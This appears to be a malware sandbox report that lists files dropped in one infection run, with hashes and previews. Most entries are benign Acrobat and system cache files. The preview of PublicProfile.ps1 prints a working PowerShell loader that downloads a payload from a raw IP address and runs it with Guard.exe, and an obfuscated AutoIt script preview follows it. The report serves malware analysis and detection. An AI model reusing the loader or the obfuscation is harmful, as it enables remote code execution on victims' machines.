SHA1:	D45BAE70275A2CD1B92FFD8F88452FEC592B3493
SHA-256:	7ADD2080CC3541E7117075A39514FA85FE0B25C45717EC978486E29FC9C91DC4
SHA-512:	1FE0CF65611B666FFCE569254BDDC6F9CAFE68D293EA30520C265751D851412C28F8BAEAA12096157A85F3DA16AD1388CBE70B4C50AECF4BBFC6E210D202A6A2
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x44575946, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585314709485202
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A2A8F1C0F18866236C9859BB5B6E9AA1
SHA1:	0AF3171C68BD47E46EEFF1E3B55A40F24BB4C377
SHA-256:	E867C96085EA118E8C39E77A1B24A5E0A964BA7F947802DD39E20DC17035A90A
SHA-512:	020A2DDE252D13E4DF69817A93266064DEE59DAB6FBE20E8EBB7E9C755B43326DF370C80493D6BC1DA84BC26CC4AAB46FDC23B9B23237B333A9B175D653345E0
Malicious:	false
Preview:	DWYF... ...............X\...;...{......................0.z..........{.......\|m.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................Y7*.....\|m.................Z........\|m..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07919980021070322
Encrypted:	false
SSDEEP:	3:Zll/EYeSwZKRtGuAJkhvekl14+QXAllrekGltll/SPj:ZXEz3KRtrxl6fXAJe3l
MD5:	8068A6E02EF37BA86796922341C9FC00
SHA1:	FCF72A390A20322CB6DDDC47B309656B17A8556B
SHA-256:	E38BD036D97063BC3E1A928BB58D4B9CA398B09314F58F04D9F7A2B19B30FEEA
SHA-512:	74C6D4C9D8F32BCAA2A33651DD5F131BB2508D82CC8DAF63300014490907945C784C614EE0F8A411777CB11977D3CCC8A0B0D564F3D7E8C6B66DF5BBF3F0F4DC
Malicious:	false
Preview:	...K.....................................;...{.......\|m......{...............{.......{...XL......{..................Z........\|m.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Guard.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: FwR7as4xUq.exe, Detection: malicious, Browse Filename: InsertSr.exe, Detection: malicious, Browse Filename: vqMMwqCFZQ.exe, Detection: malicious, Browse Filename: fT0L8msd6q.exe, Detection: malicious, Browse Filename: fT0L8msd6q.exe, Detection: malicious, Browse Filename: qaHUaPUib8.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\PublicProfile.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\PefjSkkhb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	486
Entropy (8bit):	5.264402695461477
Encrypted:	false
SSDEEP:	12:f73/oomFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/UCknZ9LzjYnRSb8Cba
MD5:	AA25D3FDAD1F106B38D0FC6EF7812219
SHA1:	1811C03BBAD3B7ED95835D4CC6D43C664C1B4A5B
SHA-256:	6CC303DD32C6F3629ACD59CFB6219D30D504AC12BBA0AFD87F38012E211496E0
SHA-512:	ED1809238957DAF71ADB4F3D0996D9CD51431AC0FB04180F4FEB5A4FE51CF07F95F935D8F56863B019AFAB737E03BE5E2E687FEB8C0416F4E470E40A282EC566
Malicious:	true
Preview:	[string]$fU5L = "http://139.99.188.124/QWCheljD.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

C:\Users\Public\Secure.au3

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
Category:	dropped
Size (bytes):	1240103
Entropy (8bit):	5.144317310151777
Encrypted:	false
SSDEEP:	12288:28V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:qcB7HxicaEmEQD3I1jUZ
MD5:	5FD6DCD6015C6F3F00D18BE2CE75691F
SHA1:	63007CCA9ED6C2A903AA30B6FA00EB280D4879A2
SHA-256:	044C72C01C72338F3559D098BEBF9D251F911B9FF41DD958EB80D8F7C9583C31
SHA-512:	29DFDE6DBE2BDA1F6FBC7FACD06B9F66BED01BC5C01ECEFC6C35DE0A49D905869ADFFBC89B9934650CC6D28C3F0377FC6BE4CE25F92D54646A909DFAD7282219
Malicious:	true
Preview:	.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.18942072479918
Encrypted:	false
SSDEEP:	6:7Bn8q2P92nKuAl9OmbnIFUt8OBnEfrZmw+OBnEyPkwO92nKuAl9OmbjLJ:7Kv4HAahFUt8Ouz/+OuO5LHAaSJ
MD5:	2C7E1F46F63FCCF908C5CA3D3063A59A
SHA1:	BFEB98C597B220052A861F67F9AF641B2B335B68
SHA-256:	6389E1E0E9BAC09E13C2755AAD581537040AEF23EDB77A29181579F34CAB21FA
SHA-512:	20C9081E2F246BC430834763E8A104AF4D6F8BE6A2B577E8308CB3016598B49A6F838B55E2B0000592E78600143B30E0CAD4EF66FABC5483444B8492F1886F6D
Malicious:	false
Preview:	2024/12/18-03:13:04.648 b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:13:04.650 b04 Recovering log #3.2024/12/18-03:13:04.651 b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.18942072479918
Encrypted:	false
SSDEEP:	6:7Bn8q2P92nKuAl9OmbnIFUt8OBnEfrZmw+OBnEyPkwO92nKuAl9OmbjLJ:7Kv4HAahFUt8Ouz/+OuO5LHAaSJ
MD5:	2C7E1F46F63FCCF908C5CA3D3063A59A
SHA1:	BFEB98C597B220052A861F67F9AF641B2B335B68
SHA-256:	6389E1E0E9BAC09E13C2755AAD581537040AEF23EDB77A29181579F34CAB21FA
SHA-512:	20C9081E2F246BC430834763E8A104AF4D6F8BE6A2B577E8308CB3016598B49A6F838B55E2B0000592E78600143B30E0CAD4EF66FABC5483444B8492F1886F6D
Malicious:	false
Preview:	2024/12/18-03:13:04.648 b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:13:04.650 b04 Recovering log #3.2024/12/18-03:13:04.651 b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1799879805949
Encrypted:	false
SSDEEP:	6:7BnNFlyq2P92nKuAl9Ombzo2jMGIFUt8OBnJ01Zmw+OBnJiRkwO92nKuAl9Ombzz:7FIv4HAa8uFUt8O/01/+O/W5LHAa8RJ
MD5:	09778B33D48D1B290686CB76D493D5C9
SHA1:	5A3F9B8F4E3C6513F78981DD29673EDAD03B9C21
SHA-256:	A03EE9F16617F85017D699F59BF2EC97E4C1F2A8491F520C54B1996272A2FF9F
SHA-512:	E71CDACF4D765C8435051244AB4AD91C2B490AB51B0C90C67AE8C1E519FC53DDDC51046A81BBF4A3336B714D60E74812778ABA33ED1E782919FE4CF8A6DE3017
Malicious:	false
Preview:	2024/12/18-03:13:04.757 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:13:04.758 1c14 Recovering log #3.2024/12/18-03:13:04.758 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1799879805949
Encrypted:	false
SSDEEP:	6:7BnNFlyq2P92nKuAl9Ombzo2jMGIFUt8OBnJ01Zmw+OBnJiRkwO92nKuAl9Ombzz:7FIv4HAa8uFUt8O/01/+O/W5LHAa8RJ
MD5:	09778B33D48D1B290686CB76D493D5C9
SHA1:	5A3F9B8F4E3C6513F78981DD29673EDAD03B9C21
SHA-256:	A03EE9F16617F85017D699F59BF2EC97E4C1F2A8491F520C54B1996272A2FF9F
SHA-512:	E71CDACF4D765C8435051244AB4AD91C2B490AB51B0C90C67AE8C1E519FC53DDDC51046A81BBF4A3336B714D60E74812778ABA33ED1E782919FE4CF8A6DE3017
Malicious:	false
Preview:	2024/12/18-03:13:04.757 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:13:04.758 1c14 Recovering log #3.2024/12/18-03:13:04.758 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c557d8e-0446-4cb4-a442-1ce2a0a972d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6474cc.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b6732535-31bf-421b-b0fb-d77de17c6a88.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.064657227395732
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjQDsBdOg2H5DAcaq3QYiubxnP7E4TfF+:Y2sRdsnEdMH5X3QYhbxP7np+
MD5:	F53F35C861996E37E7E33A28CC225A2C
SHA1:	1730B6DED15C3B5315C65A2BF439EDD25CE66E6D
SHA-256:	3571A84C17EC26D9AD9E154C5343A31073B756C86349C13BFB7FA43EB720283E
SHA-512:	2C90932F33347AA371121D01B5D76FEEC249A02075B1CE3142507E76074A5D8438420B3CD2EAB548A90F6ED9509A14CB0F33CA3AEF81D85726AC2F015C9E225F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379069593015120","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":670285},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236077100766031
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU+AaQwK:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLG
MD5:	CA57E7B419AE7E916FC4CF5EE7311D0E
SHA1:	8F97D5A888A21B7F356A8FE04C20CEEEBCC693B1
SHA-256:	49F9A17D1728B0EB3A8AB730F2142F91290F72268E382471D4E5FEE94040B68C
SHA-512:	1C19AD9F2D322D59BAB2685D350483729E77ECF71EEE9EFF11B09520EF3F9C1F649FAFC218456AC42101A47D1E3C16F0121F99EA268292406FDAF4021C26FE43
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.155313047954811
Encrypted:	false
SSDEEP:	6:7BnKcfIjyq2P92nKuAl9OmbzNMxIFUt8OBnKC8/1Zmw+OBnKC8pRkwO92nKuAl9c:77IOv4HAa8jFUt8Op8/1/+Op8P5LHAab
MD5:	8188A820533C3940A5EE9E70AFE03A25
SHA1:	F8F1370F75CE5C80195C01DE07433365E79A94B2
SHA-256:	908AB0AE048265104E352E2EBA20816E5020218D7DC6BCAB071C5F4D41E04853
SHA-512:	F0333D797BBD3E62A3CB685081BCB93FF2B2C4489DC2D9BF7E301459B979FB76E01BADDD1D451539BE9E71DB85E258D29AE079857D34F56D866058A474B381DD
Malicious:	false
Preview:	2024/12/18-03:13:04.851 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:13:04.853 1c14 Recovering log #3.2024/12/18-03:13:04.853 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.155313047954811
Encrypted:	false
SSDEEP:	6:7BnKcfIjyq2P92nKuAl9OmbzNMxIFUt8OBnKC8/1Zmw+OBnKC8pRkwO92nKuAl9c:77IOv4HAa8jFUt8Op8/1/+Op8P5LHAab
MD5:	8188A820533C3940A5EE9E70AFE03A25
SHA1:	F8F1370F75CE5C80195C01DE07433365E79A94B2
SHA-256:	908AB0AE048265104E352E2EBA20816E5020218D7DC6BCAB071C5F4D41E04853
SHA-512:	F0333D797BBD3E62A3CB685081BCB93FF2B2C4489DC2D9BF7E301459B979FB76E01BADDD1D451539BE9E71DB85E258D29AE079857D34F56D866058A474B381DD
Malicious:	false
Preview:	2024/12/18-03:13:04.851 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:13:04.853 1c14 Recovering log #3.2024/12/18-03:13:04.853 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241218081309Z-160.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.1217569600910675
Encrypted:	false
SSDEEP:	96:IMMNvEzMMT9M7ziVkMM1MMMMMMMMxMMM2MMM9MAMMBvMMneMMMzMMMMzMMMOfMQn:TOY
MD5:	4B9C650BD0BCA8ECB718BF230E45A493
SHA1:	8B7C0D60AC3B7CEB8E21C81736F9153A3B835ED7
SHA-256:	88A9087C40E02862B1FBB69BB995341B2F1DDBF91C527BC3552012400FFC16E3
SHA-512:	FF4892383ABE6645FB6983143B549C9548121B2C206DEFF54AE92C49EF9BC90AA6EFCD33B1F8EBBCFE171888B15E0C5A1F9A2677DE7F7743A0B4695059793998
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File
